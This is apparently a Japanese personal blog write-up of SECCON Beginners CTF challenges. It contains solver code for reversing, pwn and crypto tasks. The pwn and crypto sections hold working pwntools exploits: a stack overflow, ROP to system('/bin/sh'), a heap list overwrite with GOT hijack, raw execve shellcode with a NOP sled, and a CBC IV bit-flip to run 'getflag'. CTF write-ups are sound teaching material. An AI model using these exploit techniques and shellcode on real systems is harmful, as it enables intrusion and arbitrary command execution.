53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>

unsigned long table[512/8] = {
0x2b2834662a607463, 0x31382e2235396362,
0x2f6333726d687b62, 0x353b267b3a40727d,
0x2c683c2a646f3431, 0x6c3f77786d64276e,
0x656e296f79286765, 0x2f7160287b2d6a2b,
0x2b3024287c337272, 0x636e5f7b7a2e7335,
0x7631737b24727561, 0x7121682970212535,
0x385f406c3d3c7427, 0x34636f775f333968,
0x6162633f3e25646c, 0x3c6c7c786761643c,
0x2d6b60792c792f62, 0x2c38267b3b3d7b37,
0x7d636b6b24357538, 0x306d743c40713740,
0x797631662c263a33, 0x326c796425382762,
0x23713731373f6728, 0x6f76292877663e75,
0x5f293a296736246f, 0x62672e76382b5f63,
0x683c28772425286d, 0x767572276321313a,
0x722161796033407d, 0x676f5f7a353b2635,
0x733332633961306d, 0x777c23692e2d776d,
0x77766670656b387b, 0x653c3566337c333a,
0x733e712c2a7d3a40, 0x7830726b64622167,
0x682a352f683e4037, 0x7b7c273934373c69,
0x242c303b316a7329, 0x30743d2976266769,
0x226a33307c6b6e66, 0x7d69747d7b72377d,
0x756a7877733c5f3f, 0x216264266c216b31,
0x2a367d7a217d3a6a, 0x407331667b5f3160,
0x35346f69762c6433, 0x33765f6376345f3c,
0x79622b3e3375683e, 0x292b664023237176,
0x69392b773139636c, 0x72723b723c762337,
0x763e746128407524, 0x6d736a6062373a6e,
0x6d392b7b796d3667, 0x755f707079722d5f,
0x38667d2e362a6e35, 0x71262d6d3c677070,
0x753d3f66336b3571, 0x3c396e3f5f6d7d31,
0x66252f2d2a74657c, 0x5f40286d312e6867,
0x296e286934667633, 0x346d3067766a3273
};

#define FLAG_LEN 0x26

int a_idx[FLAG_LEN] = {0};

void plus_idx(int off, int l)
{
int i;
if(l == 1){
return;
}
else {
int div = l/2;
for(i = div; i < l; i++){
a_idx[off+i] += (div*div);
}
plus_idx(off,l/2);
plus_idx(off+l/2, l - (l/2));
}
}

void main()
{
int i;
char* flag = (char*)table;

plus_idx(0, FLAG_LEN);

for(i = 0; i < FLAG_LEN; i++){
printf("%c", flag[a_idx[i]]);
}
printf("\n");
}

Ransom

暗号化されたflagとRC4の暗号鍵が送信されているpcapファイルが渡される。
これはもうやるだけとしか言いようがない。

以下ソルバ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>

unsigned char enc_flag[0x32] = {
0x2b,0xa9,0xf3,0x6f,0xa2,0x2e,0xcd,0xf3,
0x78,0xcc,0xb7,0xa0,0xde,0x6d,0xb1,0xd4,
0x24,0x3c,0x8a,0x89,0xa3,0xce,0xab,0x30,
0x7f,0xc2,0xb9,0x0c,0xb9,0xf4,0xe7,0xda,
0x25,0xcd,0xfc,0x4e,0xc7,0x9e,0x7e,0x43,
0x2b,0x3b,0xdc,0x09,0x80,0x96,0x95,0xf6,
0x76,0x10
};

unsigned char random[0x10] = {0x72,0x67,0x55,0x41,0x76,0x76,0x79,0x66,0x79,0x41,0x70,0x4e,0x50,0x45,0x59,0x67};

unsigned char map[0x100] = {0};

void main()
{
int i, j, l;
unsigned char t;
for(i = 0; i < 0x100; i++){
map[i] = i;
}
t = 0;
for(i = 0; i < 0x100; i++){
t = (t+map[i]+random[i%0x10])&0xff;
map[t] ^= map[i];
map[i] ^= map[t];
map[t] ^= map[i]; // swap
}
i = 0;
j = 0;
for(l = 0; l<0x32; l++) {
i += 1;
j = (j+map[i])&0xff;
map[j] ^= map[i];
map[i] ^= map[j];
map[j] ^= map[i];
enc_flag[l] ^= map[(map[i]+map[j])&0xff];
}
printf("%s\n", enc_flag);
}

please_not_debug_me

配布されたバイナリの中にさらにエンコードされたELFが埋め込まれている。
デコードは全体を0x16するだけ、バイナリ中ではELF全体をデコードしないのでgdbでループの回数をいじって全体をデコードさせた後
memorydumpとかでELFを抽出する。

抽出されたELFはptraceを検知するようになっていてgdbとかで開くと正常な処理フローを通らない。
バイナリエディタなどでexit@pltをret(0xc3)に書き換えれば普通にデバッグできる。
あとはRC4をやっていることがわかるので、内部状態、暗号文、鍵をこれまたgdbで取得してソルバを書く。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64

#data = base64.b64decode("<encrypted file contents>")
data = "\x27\xd9\x65\x3a\x0f\x25\xe4\x0e\x81\x8a\x59\xbc\x33\xfb\xf9\xfc\x05\xc6\x33\x01\xe2\xb0\xbe\x8e\x4a\x9c\xa9\x46\x73\xb8\x48\x7d\x7f\x73\x22\xec\xdb\xdc\x98\xd9\x90\x61\x80\x7c\x6c\xb3\x36\x42\x3f\x90\x44\x85\x0d\x95\xb1\xee\xfa\x94\x85\x0c\xb9\x9f\x00"
key = "b06aa2f5a5bdf6caa7187873465ce970d04f459d"

S = range(256)
j = 0
out = []

#KSA Phase
for i in range(256):
j = (j + S[i] + ord( key[i % len(key)] )) % 256
S[i] , S[j] = S[j] , S[i]

#PRGA Phaseu
i = j = 0
for char in data:
i = ( i + 1 ) % 256
j = ( j + S[i] ) % 256
S[i] , S[j] = S[j] , S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))

print(''.join(out))

pwn

BeginnersBof

単純なBOF
stackのアラインメントの関係でwin+1に飛ばす

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "beginnersbof.quals.beginners.seccon.jp"
PORT = 9000

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_win = elf.symbols["win"]

def exploit():
bufsize = 0x28
conn.recvline()
conn.sendline("255")
conn.recvline()
payload = b''
payload += p64(addr_win+1)*8
conn.sendline(payload)
conn.interactive()

if __name__ == "__main__":
exploit()

raindrop

単純なROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "raindrop.quals.beginners.seccon.jp"
PORT = 9001

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_main = elf.symbols["main"]
addr_bss = elf.bss()
plt_system = elf.plt["system"]
rdi_ret = 0x401453
rsi_r15_ret = 0x401451

def exploit():
conn.recvuntil("2 | ")
addr_stack = int(conn.recvuntil(" ")[:-1],16)
payload = b'/bin/sh\x00'*3
payload += p64(rdi_ret)
payload += p64(addr_stack-0x20)
#payload += p64(plt_system)
payload += p64(0x4011e5)

conn.sendlineafter("understand?\n", payload)

conn.interactive()

if __name__ == "__main__":
exploit()

simplelist

heap上にoverflowがあるので、単方向リストを書き換えることができる。
EIPがdisableなのでAAR,AAWも簡単に作れる。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python3
from pwn import *
import sys

#import kmpwn
sys.path.append('/home/vagrant/kmpwn')
from kmpwn import *

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "simplelist.quals.beginners.seccon.jp"
PORT = 9003

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_main = elf.symbols["main"]
addr_bss = elf.bss()
got_atoi = elf.got["atoi"]

libc = ELF('./libc-2.33.so')
off_stdout = libc.symbols["_IO_2_1_stdout_"]
off_system = libc.symbols["system"]
rdi_ret = 0x401453
rsi_r15_ret = 0x401451

def add(data):
conn.sendlineafter("> ", "1")
conn.recvuntil("at ")
addr = int(conn.recvline(),16)
conn.sendlineafter(": ", data)
return data

def edit(idx,data):
conn.sendlineafter("> ", "2")
conn.sendlineafter(": ", str(idx))
conn.sendlineafter(": ", data)

def show():
conn.sendlineafter("> ", "3")

def exploit():
add("hoge")
chk2 = add("hoge")
payload = b'\x00'*0x20
payload += p64(0x31)
payload += p64(0x4036c8)
payload += p64(0)
edit(0, payload)
show()
conn.recvuntil("list[2]")
conn.recvuntil(" ")

libc_stdout = align2qword(conn.recvline()[:-1]) # align2qword() is original function
libc_base = libc_stdout - off_stdout
libc_system = libc_base + off_system
print(hex(libc_base))

payload = b'\x00'*0x20
payload += p64(0x31)
payload += p64(got_atoi-8)
payload += p64(0)
edit(0, payload)

edit(2, p64(libc_system))
conn.interactive()

snowdrop

static linkなのでraindropのようにROPはできない。
スタックのアドレスは教えてくれる。
NXがdisableなのでstackにシェルコードを仕込んで,nopスレッドでアドレスを誤魔化す。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

def exploit():
conn.recvuntil("6 | ")
addr_stack = int(conn.recvline(),16)
payload = b'a'*0x18
payload += p64(0x401970)*3
payload += p64(addr_stack)
payload += b'\x90'*0x400
payload += shellcode
conn.recvuntil("understand?")
conn.sendline(payload)
conn.interactive()

if __name__ == "__main__":
exploit()

crypto

CoughingFox

1文字ずつ暗号化して、それをシャッフルしている。

1
2
3
4
5
6
7
8
9
10
11
12
from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
f = flag[i]
c = (f + i)**2 + i
cipher.append(c)

shuffle(cipher)

ソルバを書くだけ。
一意にも止まらなかった書き直すつもりだったけど、愚直なコードでも復号できたのでヨシ!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import math

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

flag = "ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
l_flag = list(flag)

for i in range(len(cipher)):
for j in range(len(flag)):
r = math.sqrt(cipher[i] - j)
if r == int(r):
l_flag[j] = chr(int(r)-j)

print(''.join(l_flag))

Command

平文のコマンドからivと暗号文が渡される。

渡されたivと暗号文を再度渡すと復号した平文のコマンドを実行してくれる。
実行したいgetflagは本来実行できないが、復号時に改変したivを渡せばよい。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

#!/usr/bin/python3
from pwn import *
from Crypto.Util.Padding import pad, unpad
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "command.quals.beginners.seccon.jp"
PORT = 5555
conn = remote(HOST, PORT)

conn.sendlineafter("> ", "1")
conn.sendlineafter("> ", "fizzbuzz")
conn.recvuntil(": ")
iv_enc = conn.recvline()[:-1]
iv = iv_enc[:32]
enc = iv_enc[32:]

cmd_org = pad(b"fizzbuzz",16)
cmd = pad(b"getflag",16)

iv_fake = int(iv,16) ^ int(cmd.hex(),16) ^ int(cmd_org.hex(),16)
fake_iv_enc = format(iv_fake, 'x').encode() + enc

conn.sendlineafter("> ", "2")
conn.sendlineafter("> ", fake_iv_enc)
conn.interactive()

終わりに

ソロ参加でこんなりがっつり頑張ったの久しぶりだった。
とても面白かった。

どうも

ふと思い立って自分のドメインで作ることにした。
色々追加する予定

これまでのhatenaでの記事